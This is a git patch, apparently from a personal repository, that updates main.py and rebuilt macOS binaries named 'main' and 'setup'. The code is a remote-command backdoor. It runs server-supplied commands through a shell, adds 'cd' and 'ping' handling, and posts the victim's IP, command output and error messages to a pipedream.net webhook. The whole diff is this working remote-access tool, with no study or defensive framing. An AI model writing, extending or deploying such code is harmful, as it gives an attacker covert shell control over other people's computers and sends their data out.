From 8795b8fda682b9026e3d12cce5a8dff45107f976 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Tue, 15 Aug 2023 23:56:39 +0800 Subject: updated --- dist/main | Bin 4299248 -> 4299424 bytes dist/main.app/Contents/MacOS/main | Bin 4299248 -> 4299424 bytes dist/setup | Bin 4299264 -> 4299280 bytes dist/setup.app/Contents/MacOS/setup | Bin 4299264 -> 4299280 bytes main.py | 26 ++++++++++++++++++++++++-- 5 files changed, 24 insertions(+), 2 deletions(-) diff --git a/dist/main b/dist/main index 7dbbc20..9d1ede0 100755 Binary files a/dist/main and b/dist/main differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main index f9d4514..44f19f0 100755 Binary files a/dist/main.app/Contents/MacOS/main and b/dist/main.app/Contents/MacOS/main differ diff --git a/dist/setup b/dist/setup index 814e64d..4e97069 100755 Binary files a/dist/setup and b/dist/setup differ diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup index 56a9a57..49c16f2 100755 Binary files a/dist/setup.app/Contents/MacOS/setup and b/dist/setup.app/Contents/MacOS/setup differ diff --git a/main.py b/main.py index 1ae8581..64e8670 100644 --- a/main.py +++ b/main.py @@ -2,6 +2,7 @@ try: from requests import get, post from time import sleep from subprocess import check_output as system + from os import chdir old_command = "" command = "" @@ -25,11 +26,32 @@ while True: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) with sleeping(cuz of discord api timeout)") continue except: - print("Failed to connect to server") + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server") continue # execute command if old_command != command: try: + if "ping" in command: + try: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Pong!") + except KeyboardInterrupt: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) when replying to ping") + except: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server") + continue + if "cd" in command: + dir=command.replace('cd', '') + try: + chdir(dir) + except KeyboardInterrupt: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) while changing directory") + continue + except FileNotFoundError: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: cd: No Such Directory") + except: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server") + continue + cmdout = system(command, shell=True) if cmdout != "": try: @@ -38,7 +60,7 @@ while True: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) when trying to post output") continue except: - print("Failed to sent output") + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to sent output") continue old_command = command continue -- cgit v1.2.3